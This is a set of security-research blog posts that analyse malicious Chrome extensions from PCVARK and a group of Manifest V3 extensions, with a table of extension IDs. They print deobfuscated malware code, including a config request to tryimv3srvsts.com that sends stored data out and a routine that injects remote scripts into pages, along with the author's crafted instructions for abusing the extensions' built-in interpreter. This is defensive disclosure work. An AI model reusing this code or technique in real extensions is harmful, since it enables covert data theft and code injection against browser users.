class="nx">data</span><span class="p">.</span><span class="nx">timestamp</span> <span class="o">+</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;&amp;d=&#34;</span> <span class="o">+</span> <span class="nx">location</span><span class="p">.</span><span class="nx">host</span> <span class="o">+</span> <span class="s2">&#34;&amp;fr&#34;</span> <span class="o">+</span> <span class="nx">error</span><span class="p">.</span><span class="nx">message</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">});</span> </span></span></code></pre></div><p>Note how the fallbacks here aren’t actually designed to run. The constant <code>fallbackUrl</code> will never be used because <code>e.location.protocol</code> will throw: <code>e</code> is not defined. Similarly with the <code>catch</code> block: <code>data.timestamp</code> will throw because <code>data</code> is not defined. So all these dummy variables never assigned a value are only meant to make this look more like legitimate code. Same with calling <code>performance.now()</code>, the result of a single call is meaningless even if it were used.</p> <p>Note also that this will only run if the config contains <code>traceUrl</code> and <code>extStat</code> values, yet these values are not actually being used. That’s another detail meant to make this look like some code collecting harmless performance data. In reality these are merely flags activating this functionality.</p> <p>Note how the URL is supposedly some failure reporting, yet it will be loaded unconditionally if the page address passes <code>rAllow</code> and <code>rDeny</code> checks. Note also that the script URL will always be overwritten if the <code>rDeny</code> regular expression is provided, even if it doesn’t match the current page – logic that doesn’t make any sense.</p> <p>Finally, the address loaded as script here will produce a PNG image for me. This is again meant to reinforce the impression that this is a mere tracking pixel. Yet nobody would load a tracking pixel as a script, that’s what <code>&lt;img&gt;</code> tags are good for. And if everything else fails, the developers are clearly aware of the <code>fetch()</code> function.</p> <p>The obvious conclusion is: this is no QA functionality as it claims to be. The purpose of this code is injecting a remote script into all visited web pages, as soon as the extension receives a configuration enabling this functionality.</p> <h3 id="extracting-user-s-browsing-history">Extracting user’s browsing history</h3> <p>An interesting piece of Adblock Web functionality is its list of “supported” domains that it will regularly download from <code>https://adblock-unlim.com/api/domains/</code> (same frame messaging approach as above). It seems to make little sense: this is an ad blocker, <em>all</em> domains are supported. There are some hints towards this functionality being meant for video ad blocking, yet that’s a red herring. The extension contains no explicit video ad blocking functionality, and even if it did: calling <code>isSupportedDomain</code> to determine which extension icon to show on a site still makes no sense.</p> <p>So it doesn’t come as a real surprise that all occasions where this list of “supported” domains is used turn out to be no-ops or dead code. In the end, this is only really used to decide whether <code>loadEasyListForDomain()</code> should be called. If that check succeeds, the extension will make a request to an address like <code>https://adblock-unlim.com/api/custom-easylist/?domain=youtube.com</code>.</p> <p>If you expected some domain-specific filter rules in the response – nope, the response was always empty for me. Not that it matters because the extension ignores the response. And there is another indicator that this isn’t really about loading filter rules: this request is sent out delayed, five seconds after a tab loads. If this were about ad blocking functionality, this would be way too late.</p> <p>Instead, this is obviously about learning what websites the user visits. For me, the “supported” domains are four video websites. But this is likely yet another decoy, and the users targeted by this feature get a far more extensive list of domains that PCVARK is interested in.</p> <h3 id="the-privacy-policy-1">The privacy policy</h3> <p>According to the privacy practices stated in the Chrome Web Store, Adblock Web developers declared that user’s data is:</p> <blockquote> <p>Not being used or transferred for purposes that are unrelated to the item&rsquo;s core functionality</p> </blockquote> <p>Given the findings above, I dare to doubt that statement. But let’s have a look at their privacy policy. Unlike Ad-Blocker, Adblock Web actually has one.</p> <blockquote> <p>We want to make sure you are aware of our Chrome extension “AdBlocker Unlimited” so that you always see the whole picture of your interaction with us.</p> </blockquote> <p>Yes, the privacy policy consistently speaks of “AdBlocker Unlimited,” the extension removed from Chrome Web Store a year ago. Let’s ignore that and see what it has to say about data:</p> <blockquote> <p>AdBlocker Unlimited does not collect any personal information about you (such as your name, email address, etc.). Further, it does not collect or report back to us (or anyone else) any data regarding your computer keystrokes or other data unrelated to the services the Extension provides</p> </blockquote> <p>Well, bullshit.</p> <h2 id="conclusions">Conclusions</h2> <p>As we’ve seen, PCVARK is unsurprisingly using their Chrome ad blockers to gain a foothold in your system. The older Ad-Blocker extension does it in more obvious ways, the newer Adblock Web is more subtle. In both cases it’s obvious however that this functionality has nothing to do with ad blocking and everything with granting PCVARK’s servers access to your browsing session.</p> <p>In the Ad-Blocker extension we’ve seen an example of how this power is used: to inject a message into legitimate web pages “warning” users about alleged risks and urging them to download PCVARK software. This software would then continue showing scary messages until the user payed up.</p> <p>This is certainly far from being the only way in which PCVARK monetizes users of their ad blockers. The Adblock Web extension shows that PCVARK is also interested in learning which websites you visit. It’s impossible to tell whether the idea here is creating and selling browsing profiles or “merely” learning more about the user to improve the targeting of their scary messages.</p> <p>In addition, all extensions give the PCVARK servers enormous privileges. I don’t know how these privileges are being used. In theory however, PCVARK could spy on the users as they browse the web, steal whatever data they enter on websites, and maybe even manipulate banking websites to reroute money transfers.</p> <p>There are numerous articles on the web demonstrating that PCVARK isn’t exactly what you would call an “ethical company.” While they themselves seem to consider their activities legal, it isn’t quite clear where they draw the boundary to illegality.</p> <p>It’s a shame that Google allows Chrome Web Store to be abused by such actors. Google definitely could have known what these extensions are doing, at the very least when the very similar BitSafe Adblocker and Adblocker Unlimited extensions were removed. Searching for similar software would be the obvious next step after such takedowns – I know for certain that Mozilla does it. Yet it would appear that Google does only the bare minimum to address concerns, and only if these concerns are voiced by someone with a significant reach.</p> How malicious extensions hide running arbitrary code https://palant.info/2023/06/02/how-malicious-extensions-hide-running-arbitrary-code/ Fri, 02 Jun 2023 12:11:33 +0200 https://palant.info/2023/06/02/how-malicious-extensions-hide-running-arbitrary-code/ <p>Two days ago I wrote about the <a href="https://palant.info/2023/05/31/more-malicious-extensions-in-chrome-web-store/">malicious extensions I discovered in Chrome Web Store</a>. At some point this article got noticed by Avast. Once their team <a href="https://blog.avast.com/malicious-extensions-chrome-web-store">confirmed my findings</a>, Google finally reacted and started removing these extensions. Out of the 34 extensions I reported, only 8 extensions remain. These eight were all part of an update where I added 16 extensions to my list, an update that came too late for Avast to notice.</p> <p>Note: Even for the removed extensions, it isn’t “mission accomplished” yet. Yes, the extensions can no longer be installed. However, the existing installations remain. From what I can tell, Google didn’t blocklist these extensions yet.</p> <p>Avast ran their own search, and they found a bunch of extensions that I didn’t see. So how come they missed eight extensions? The reason seems to be: these are considerably different. They migrated to <a href="https://developer.chrome.com/docs/extensions/mv3/intro/mv3-overview/">Manifest V3</a>, so they had to find new ways of running arbitrary code that wouldn’t attract unnecessary attention.</p> <p><strong>Update</strong> (2023-06-03): These extensions have been removed from the Chrome Web Store as well.</p> <p><strong>Update</strong> (2023-06-12): The complete list of extension IDs from this article series can be found <a href="https://github.com/palant/malicious-extensions-list/blob/main/list.txt">here</a>. This repository also contains the <a href="https://github.com/palant/malicious-extensions-list/releases">check-extensions command-line utility</a> which will search local browser profiles for these extensions.</p> <div id="tocBox"> <h4>Contents</h4> <nav id="TableOfContents"> <ul> <li><a href="https://palant.info/2023/06/02/how-malicious-extensions-hide-running-arbitrary-code/#which-extensions-is-this-about">Which extensions is this about?</a></li> <li><a href="https://palant.info/2023/06/02/how-malicious-extensions-hide-running-arbitrary-code/#is-it-even-the-same-malware">Is it even the same malware?</a></li> <li><a href="https://palant.info/2023/06/02/how-malicious-extensions-hide-running-arbitrary-code/#the-config-downloads">The “config” downloads</a></li> <li><a href="https://palant.info/2023/06/02/how-malicious-extensions-hide-running-arbitrary-code/#executing-the-instructions">Executing the instructions</a></li> <li><a href="https://palant.info/2023/06/02/how-malicious-extensions-hide-running-arbitrary-code/#what-is-this-being-used-for">What is this being used for?</a></li> </ul> </nav> </div> <h2 id="which-extensions-is-this-about">Which extensions is this about?</h2> <p>The malicious extensions currently still in Chrome Web Store are:</p> <table> <thead> <tr> <th>Name</th> <th>Weekly active users</th> <th>Extension ID</th> </tr> </thead> <tbody> <tr> <td>Soundboost</td> <td>6,925,522</td> <td>chmfnmjfghjpdamlofhlonnnnokkpbao</td> </tr> <tr> <td>Amazing Dark Mode</td> <td>2,228,049</td> <td>fbjfihoienmhbjflbobnmimfijpngkpa</td> </tr> <tr> <td>Awesome Auto Refresh</td> <td>2,222,284</td> <td>djmpbcihmblfdlkcfncodakgopmpgpgh</td> </tr> <tr> <td>Volume Frenzy</td> <td>1,626,760</td> <td>idgncaddojiejegdmkofblgplkgmeipk</td> </tr> <tr> <td>Leap Video Downloader</td> <td>1,454,917</td> <td>bjlcpoknpgaoaollojjdnbdojdclidkh</td> </tr> <tr> <td>Qspeed Video Speed Controller</td> <td>732,250</td> <td>pcjmcnhpobkjnhajhhleejfmpeoahclc</td> </tr> <tr> <td>HyperVolume</td> <td>592,479</td> <td>hinhmojdkodmficpockledafoeodokmc</td> </tr> <tr> <td>Light picture-in-picture</td> <td>172,931</td> <td>gcnceeflimggoamelclcbhcdggcmnglm</td> </tr> </tbody> </table> <h2 id="is-it-even-the-same-malware">Is it even the same malware?</h2> <p>I found this latest variant of the malicious code thanks to Lukas Andersson who researched reputation manipulation in Chrome Web Store. He shared with me a list of extensions that manipulated reviews similarly to the extensions I already discovered. Some of these extensions in fact turned out malicious, with a bunch using malicious code that I didn’t see before.</p> <p>But this isn’t evidence that all these extensions are in fact related. And the new variant even communicates with tryimv3srvsts[.]com instead of serasearchtop[.]com. So how can I be certain that it is the same malware?</p> <p>The obfuscation approach gives it away however: lots of unnecessary conditional statements, useless variables and strings being pieced together. It’s exactly the same thing as I <a href="https://palant.info/2023/05/16/malicious-code-in-pdf-toolbox-extension/">described for the PDF Toolbox extension</a> already. Also, there is this familiar mangled timestamp meant to prevent config downloads in the first 24 hours after installation. It merely moved: <code>localStorage</code> is no longer usable with Manifest V3, so the timestamp is being stored in <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage/local">storage.local</a>.</p> <p>The code once against masquerades as part of a legitimate library. This time, it has been added to the <code>parser</code> module of the Datejs library.</p> <h2 id="the-config-downloads">The “config” downloads</h2> <p>The approach to downloading the instructions changed considerably however. I’ll use Soundboost extension as my example, given that it is by far the most popular. When downloading the “config” file, Soundboost might also upload data. With obfuscation removed, the code looks roughly like this:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">async</span> <span class="kd">function</span> <span class="nx">getConfig</span><span class="p">()</span> </span></span><span class="line"><span class="cl"><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">config</span> <span class="o">=</span> <span class="p">(</span><span class="kr">await</span> <span class="nx">chrome</span><span class="p">.</span><span class="nx">storage</span><span class="p">.</span><span class="nx">local</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s2">&#34;&lt;key&gt;&#34;</span><span class="p">)).</span><span class="o">&lt;</span><span class="nx">key</span><span class="o">&gt;</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">options</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="nx">config</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">options</span> <span class="o">=</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">method</span><span class="o">:</span> <span class="s2">&#34;POST&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nx">body</span><span class="o">:</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">config</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="p">};</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="k">else</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">config</span> <span class="o">=</span> <span class="p">{};</span> </span></span><span class="line"><span class="cl"> <span class="nx">options</span> <span class="o">=</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">method</span><span class="o">:</span> <span class="s2">&#34;GET&#34;</span> </span></span><span class="line"><span class="cl"> <span class="p">};</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">response</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">fetch</span><span class="p">(</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;https://tryimv3srvsts.com/chmfnmjfghjpdamlofhlonnnnokkpbao&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nx">options</span> </span></span><span class="line"><span class="cl"> <span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">json</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">response</span><span class="p">.</span><span class="nx">json</span><span class="p">();</span> </span></span><span class="line"><span class="cl"> <span class="nb">Object</span><span class="p">.</span><span class="nx">assign</span><span class="p">(</span><span class="nx">config</span><span class="p">,</span> <span class="nx">json</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="nx">config</span><span class="p">.</span><span class="nx">l</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="nx">chrome</span><span class="p">.</span><span class="nx">storage</span><span class="p">.</span><span class="nx">local</span><span class="p">.</span><span class="nx">set</span><span class="p">({</span><span class="o">&lt;</span><span class="nx">key</span><span class="o">&gt;:</span> <span class="nx">config</span><span class="p">});</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="nx">config</span><span class="p">.</span><span class="nx">l</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></div><p>So the extension will retrieve the config from <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage/local">storage.local</a>, send it to the server, merge it with the response and write it back to <code>storage.local</code>. But what’s the point of sending a config to the server that has been previously received from it?</p> <p>I can see only one answer: by the time the config is sent to the server, additional data will be added to it. So this is a data collection and exfiltration mechanism: the instructions in <code>config.l</code>, when executed by the extension, will collect data and store it in the <code>storage.local</code> entry. And next time the extension starts up this data will be sent to the server.</p> <p>This impression is further reinforced by the fact that the extension will reload itself every 12 hours. This makes sure that accumulated data will always be sent out after this time period, even if the user never closes their browser.</p> <h2 id="executing-the-instructions">Executing the instructions</h2> <p>Previously, Chrome extensions could always run arbitrary JavaScript code as content scripts. As this is a major source of security vulnerabilities, Manifest V3 disallowed that. Now running dynamic code is only possible by relaxing default <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy#default_content_security_policy">Content Security Policy restrictions</a>. But that would raise suspicions, so malicious extensions would like to avoid it of course.</p> <p>With sufficient determination, such restrictions can always be worked around however. For example, the Honey extension chose to <a href="https://palant.info/2020/10/28/what-would-you-risk-for-free-honey/">ship an entire JavaScript interpreter with it</a>. This allowed it to download and run JavaScript code without it being subject to the browser’s security mechanisms. The company was apparently so successful extracting data in this way that <a href="https://www.forbes.com/sites/tomtaulli/2019/11/23/why-paypal-paid-4-billion-for-honey-science/">PayPal bought it for $4 billion</a>.</p> <p>A JavaScript interpreter is lots of code however. There are indications that the malicious code in Soundboost is being obfuscated manually, something that doesn’t work with large code quantities. So the instruction processing in Soundboost is a much smaller interpreter, one that supports only 8 possible actions. This minimalistic approach is sufficient to do considerable damage.</p> <p>The interpreter works on arrays representing expressions, with the first array element indicating the type of the expression and the rest of them being used as parameters. Typically, these parameters will themselves be recursively resolved as expressions. Non-array expressions are left unchanged.</p> <p>I tried out a bunch of instructions just to see that this approach is sufficient to abuse just about any extension privileges. The following instructions will print a message to console:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="p">[</span> </span></span><span class="line"><span class="cl"> <span class="c1">// Call console.log </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="s2">&#34;@&#34;</span><span class="p">,</span> <span class="p">[</span><span class="s2">&#34;.&#34;</span><span class="p">,</span> <span class="p">[</span><span class="s2">&#34;console&#34;</span><span class="p">],</span> <span class="s2">&#34;log&#34;</span><span class="p">],</span> </span></span><span class="line"><span class="cl"> <span class="c1">// Verbatim call parameter </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="s2">&#34;hi&#34;</span> </span></span><span class="line"><span class="cl"><span class="p">]</span> </span></span></code></pre></div><p>The following calls <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update">chrome.tabs.update()</a> to redirect the current browser tab to another page:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="p">[</span> </span></span><span class="line"><span class="cl"> <span class="c1">// Call chrome.tabs.update </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="s2">&#34;@&#34;</span><span class="p">,</span> <span class="p">[</span><span class="s2">&#34;.&#34;</span><span class="p">,</span> <span class="p">[</span><span class="s2">&#34;.&#34;</span><span class="p">,</span> <span class="p">[</span><span class="s2">&#34;chrome&#34;</span><span class="p">],</span> <span class="s2">&#34;tabs&#34;</span><span class="p">],</span> <span class="s2">&#34;update&#34;</span><span class="p">],</span> </span></span><span class="line"><span class="cl"> <span class="c1">// Verbatim call parameter </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">{</span><span class="nx">url</span><span class="o">:</span> <span class="s2">&#34;https://example.com/&#34;</span><span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">]</span> </span></span></code></pre></div><p>The malicious code also likely wants to add a <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated">tabs.onUpdated</a> listener. This turned out to be more complicated. Not because of the necessity of creating a callback, the interpreter has you covered with the <code>&quot;^&quot;</code> expressions there. However, function calls performed with this interpreter won’t pass in a <code>this</code> argument, and <code>addListener</code> method doesn’t like that.</p> <p>There might be multiple way to work around this issue, but the one I found was calling via <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Reflect/apply">Reflect.apply</a> and passing in a <code>this</code> argument explicitly. This also requires calling <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Array">Array constructor</a> to create an array:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="p">[</span> </span></span><span class="line"><span class="cl"> <span class="c1">// Call Reflect.apply </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="s2">&#34;@&#34;</span><span class="p">,</span> <span class="p">[</span><span class="s2">&#34;.&#34;</span><span class="p">,</span> <span class="p">[</span><span class="s2">&#34;Reflect&#34;</span><span class="p">],</span> <span class="s2">&#34;apply&#34;</span><span class="p">],</span> </span></span><span class="line"><span class="cl"> <span class="c1">// target parameter: chrome.tabs.onUpdated.addListener </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">[</span><span class="s2">&#34;.&#34;</span><span class="p">,</span> <span class="p">[</span><span class="s2">&#34;.&#34;</span><span class="p">,</span> <span class="p">[</span><span class="s2">&#34;.&#34;</span><span class="p">,</span> <span class="p">[</span><span class="s2">&#34;chrome&#34;</span><span class="p">],</span> <span class="s2">&#34;tabs&#34;</span><span class="p">],</span> <span class="s2">&#34;onUpdated&#34;</span><span class="p">],</span> <span class="s2">&#34;addListener&#34;</span><span class="p">],</span> </span></span><span class="line"><span class="cl"> <span class="c1">// thisArgument parameter: chrome.tabs.onUpdated </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">[</span><span class="s2">&#34;.&#34;</span><span class="p">,</span> <span class="p">[</span><span class="s2">&#34;.&#34;</span><span class="p">,</span> <span class="p">[</span><span class="s2">&#34;chrome&#34;</span><span class="p">],</span> <span class="s2">&#34;tabs&#34;</span><span class="p">],</span> <span class="s2">&#34;onUpdated&#34;</span><span class="p">],</span> </span></span><span class="line"><span class="cl"> <span class="c1">// argumentsList parameter </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">[</span> </span></span><span class="line"><span class="cl"> <span class="c1">// Call Array constructor </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="s2">&#34;@&#34;</span><span class="p">,</span> <span class="p">[</span><span class="s2">&#34;Array&#34;</span><span class="p">],</span> </span></span><span class="line"><span class="cl"> <span class="c1">// Array element parameter </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">[</span> </span></span><span class="line"><span class="cl"> <span class="c1">// Create closure </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="s2">&#34;^&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="p">[</span> </span></span><span class="line"><span class="cl"> <span class="c1">// Call console.log </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="s2">&#34;@&#34;</span><span class="p">,</span> <span class="p">[</span><span class="s2">&#34;.&#34;</span><span class="p">,</span> <span class="p">[</span><span class="s2">&#34;console&#34;</span><span class="p">],</span> <span class="s2">&#34;log&#34;</span><span class="p">],</span> </span></span><span class="line"><span class="cl"> <span class="c1">// Pass in function arguments received by the closure </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">[</span><span class="s2">&#34;#&#34;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"> <span class="p">]</span> </span></span><span class="line"><span class="cl"> <span class="p">]</span> </span></span><span class="line"><span class="cl"> <span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="p">]</span> </span></span></code></pre></div><p>These instructions successfully log any tab change reported to the <code>onUpdated</code> listener.</p> <p>So this isn’t the most comfortable language to use, but with some tricks it can do pretty much anything. It also lacks flow control constructs other than <code>try .. catch</code>. Yet this is already sufficient to construct simple <code>if</code> blocks, triggering an exception to execute the <code>else</code> part. It should even be possible to emulate loops via recursive calls.</p> <h2 id="what-is-this-being-used-for">What is this being used for?</h2> <p>As with the other extensions, I <a href="https://palant.info/2023/05/31/more-malicious-extensions-in-chrome-web-store/#what-does-it-actually-do">haven’t actually seen the instructions</a> that the extensions receive from their server. So I cannot know for certain what they do when activated. Reviews of older extensions report them redirecting Google searches to Bing, which is definitely something these newer extensions could do as well.</p> <p>As mentioned above however, the newer extensions clearly transmit data to their server. What kind of data? All of them have access to all websites, so it would be logical if they collected full browsing profiles. The older extensions likely did as well, but this isn’t something that users would easily notice.</p> <p>Quite remarkably, all the extensions also have the <code>scripting</code> permission which is unlikely to be a coincidence. This permission allows the use of the <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript">scripting.executeScript API</a>, meaning running JavaScript code in the context of any website loaded in the browser. The catch however is: this API won’t run arbitrary code, only code that is already part of the extension.</p> <p>I’m not entirely certain what trick the extensions pull to work around this limitation, but they’ve certainly thought of something. Most likely, their trick involves loading <code>background.js</code> into pages – while this file is supposed to run as the extension’s background worker, it’s part of the extension and the <code>scripting.executeScript</code> API will allow using it. One indirect confirmation is the obfuscated code in <code>background.js</code> registering a listener for the <code>message</code> event, despite the fact that nothing should be able to send such messages as long as the script runs as background worker.</p> More malicious extensions in Chrome Web Store https://palant.info/2023/05/31/more-malicious-extensions-in-chrome-web-store/ Wed, 31 May 2023 13:37:16 +0200 https://palant.info/2023/05/31/more-malicious-extensions-in-chrome-web-store/ <p>Two weeks ago I wrote about the <a href="https://palant.info/2023/05/16/malicious-code-in-pdf-toolbox-extension/">PDF Toolbox extension containing obfuscated malicious code</a>. Despite reporting the issue to Google via two different channels, the extension remains online. It even gained a considerable number of users after I published my article.</p> <p>A reader tipped me off however that the Zoom Plus extension also makes a request to serasearchtop[.]com. I checked it out and found two other versions of the same malicious code. And I found more extensions in Chrome Web Store which are using it.</p> <p>So now we are at 18 malicious extensions with a combined user count of 55 million. The most popular of these extensions are Autoskip for Youtube, Crystal Ad block and Brisk VPN: nine, six and five million users respectively.</p> <p><strong>Update</strong> (2023-06-01): With an increased sample I was able to find some more extensions. Also, Lukas Andersson did some research into manipulated extension ratings in Chrome Web Store and pointed out that other extensions exhibited similar patterns in their review. With his help I was able to identify yet another variant of this malicious code and a bunch more malicious extensions. So now we are at 34 malicious extensions and 87 million users.</p> <p><strong>Update</strong> (2023-06-02): All but eight of these extensions have been removed from Chrome Web Store. These eight extensions are considerably different from the rest, so I published a <a href="https://palant.info/2023/06/02/how-malicious-extensions-hide-running-arbitrary-code/">follow-up blog post</a> discussing the technical aspects here.</p> <div id="tocBox"> <h4>Contents</h4> <nav id="TableOfContents"> <ul> <li><a href="https://palant.info/2023/05/31/more-malicious-extensions-in-chrome-web-store/#the-extensions">The extensions</a></li> <li><a href="https://palant.info/2023/05/31/more-malicious-extensions-in-chrome-web-store/#the-malicious-code">The malicious code</a></li> <li><a href="https://palant.info/2023/05/31/more-malicious-extensions-in-chrome-web-store/#what-does-it-actually-do">What does it <em>actually</em> do?</a></li> </ul> </nav> </div> <h2 id="the-extensions">The extensions</h2> <p>So far I could identify the following 34 malicious extensions. Most of them are listed as “Featured” in Chrome Web Store. User counts reflect the state for 2023-05-30.</p> <p><strong>Update</strong> (2023-06-12): The complete list of extension IDs from this article series can be found <a href="https://github.com/palant/malicious-extensions-list/blob/main/list.txt">here</a>. This repository also contains the <a href="https://github.com/palant/malicious-extensions-list/releases">check-extensions command-line utility</a> which will search local browser profiles for these extensions.</p> <table> <thead> <tr> <th>Name</th> <th>Weekly active users</th> <th>Extension ID</th> </tr> </thead> <tbody> <tr> <td><strike>Autoskip for Youtube</strike></td> <td>9,008,298</td> <td>lgjdgmdbfhobkdbcjnpnlmhnplnidkkp</td> </tr> <tr> <td>Soundboost</td> <td>6,925,522</td> <td>chmfnmjfghjpdamlofhlonnnnokkpbao</td> </tr> <tr> <td><strike>Crystal Ad block</strike></td> <td>6,869,278</td> <td>lklmhefoneonjalpjcnhaidnodopinib</td> </tr> <tr> <td><strike>Brisk VPN</td> <td>5,595,420</strike></td> <td>ciifcakemmcbbdpmljdohdmbodagmela</td> </tr> <tr> <td><strike>Clipboard Helper</strike></td> <td>3,499,233</td> <td>meljmedplehjlnnaempfdoecookjenph</td> </tr> <tr> <td><strike>Maxi Refresher</strike></td> <td>3,483,639</td> <td>lipmdblppejomolopniipdjlpfjcojob</td> </tr> <tr> <td><strike>Quick Translation</strike></td> <td>2,797,773</td> <td>lmcboojgmmaafdmgacncdpjnpnnhpmei</td> </tr> <tr> <td><strike>Easyview Reader view</strike></td> <td>2,786,137</td> <td>icnekagcncdgpdnpoecofjinkplbnocm</td> </tr> <tr> <td><strike>PDF toolbox</strike></td> <td>2,782,790</td> <td>bahogceckgcanpcoabcdgmoidngedmfo</td> </tr> <tr> <td><strike>Epsilon Ad blocker</strike></td> <td>2,571,050</td> <td>bkpdalonclochcahhipekbnedhklcdnp</td> </tr> <tr> <td><strike>Craft Cursors</strike></td> <td>2,437,224</td> <td>magnkhldhhgdlhikeighmhlhonpmlolk</td> </tr> <tr> <td><strike>Alfablocker ad blocker</strike></td> <td>2,430,636</td> <td>edadmcnnkkkgmofibeehgaffppadbnbi</td> </tr> <tr> <td><strike>Zoom Plus</strike></td> <td>2,370,645</td> <td>ajneghihjbebmnljfhlpdmjjpifeaokc</td> </tr> <tr> <td><strike>Base Image Downloader</strike></td> <td>2,366,136</td> <td>nadenkhojomjfdcppbhhncbfakfjiabp</td> </tr> <tr> <td><strike>Clickish fun cursors</strike></td> <td>2,353,436</td> <td>pbdpfhmbdldfoioggnphkiocpidecmbp</td> </tr> <tr> <td><strike>Cursor-A custom cursor</strike></td> <td>2,237,147</td> <td>hdgdghnfcappcodemanhafioghjhlbpb</td> </tr> <tr> <td>Amazing Dark Mode</td> <td>2,228,049</td> <td>fbjfihoienmhbjflbobnmimfijpngkpa</td> </tr> <tr> <td><strike>Maximum Color Changer for Youtube</strike></td> <td>2,226,293</td> <td>kjeffohcijbnlkgoaibmdcfconakaajm</td> </tr> <tr> <td>Awesome Auto Refresh</td> <td>2,222,284</td> <td>djmpbcihmblfdlkcfncodakgopmpgpgh</td> </tr> <tr> <td><strike>Venus Adblock</strike></td> <td>1,973,783</td> <td>obeokabcpoilgegepbhlcleanmpgkhcp</td> </tr> <tr> <td><strike>Adblock Dragon</strike></td> <td>1,967,202</td> <td>mcmdolplhpeopapnlpbjceoofpgmkahc</td> </tr> <tr> <td><strike>Readl Reader mode</strike></td> <td>1,852,707</td> <td>dppnhoaonckcimpejpjodcdoenfjleme</td> </tr> <tr> <td>Volume Frenzy</td> <td>1,626,760</td> <td>idgncaddojiejegdmkofblgplkgmeipk</td> </tr> <tr> <td><strike>Image download center</strike></td> <td>1,493,741</td> <td>deebfeldnfhemlnidojiiidadkgnglpi</td> </tr> <tr> <td><strike>Font Customizer</strike></td> <td>1,471,726</td> <td>gfbgiekofllpkpaoadjhbbfnljbcimoh</td> </tr> <tr> <td><strike>Easy Undo Closed Tabs</strike></td> <td>1,460,691</td> <td>pbebadpeajadcmaoofljnnfgofehnpeo</td> </tr> <tr> <td><strike>Screence screen recorder</strike></td> <td>1,459,488</td> <td>flmihfcdcgigpfcfjpdcniidbfnffdcf</td> </tr> <tr> <td><strike>OneCleaner</strike></td> <td>1,457,548</td> <td>pinnfpbpjancnbidnnhpemakncopaega</td> </tr> <tr> <td><strike>Repeat button</strike></td> <td>1,456,013</td> <td>iicpikopjmmincpjkckdngpkmlcchold</td> </tr> <tr> <td>Leap Video Downloader</td> <td>1,454,917</td> <td>bjlcpoknpgaoaollojjdnbdojdclidkh</td> </tr> <tr> <td><strike>Tap Image Downloader</strike></td> <td>1,451,822</td> <td>okclicinnbnfkgchommiamjnkjcibfid</td> </tr> <tr> <td>Qspeed Video Speed Controller</td> <td>732,250</td> <td>pcjmcnhpobkjnhajhhleejfmpeoahclc</td> </tr> <tr> <td>HyperVolume</td> <td>592,479</td> <td>hinhmojdkodmficpockledafoeodokmc</td> </tr> <tr> <td>Light 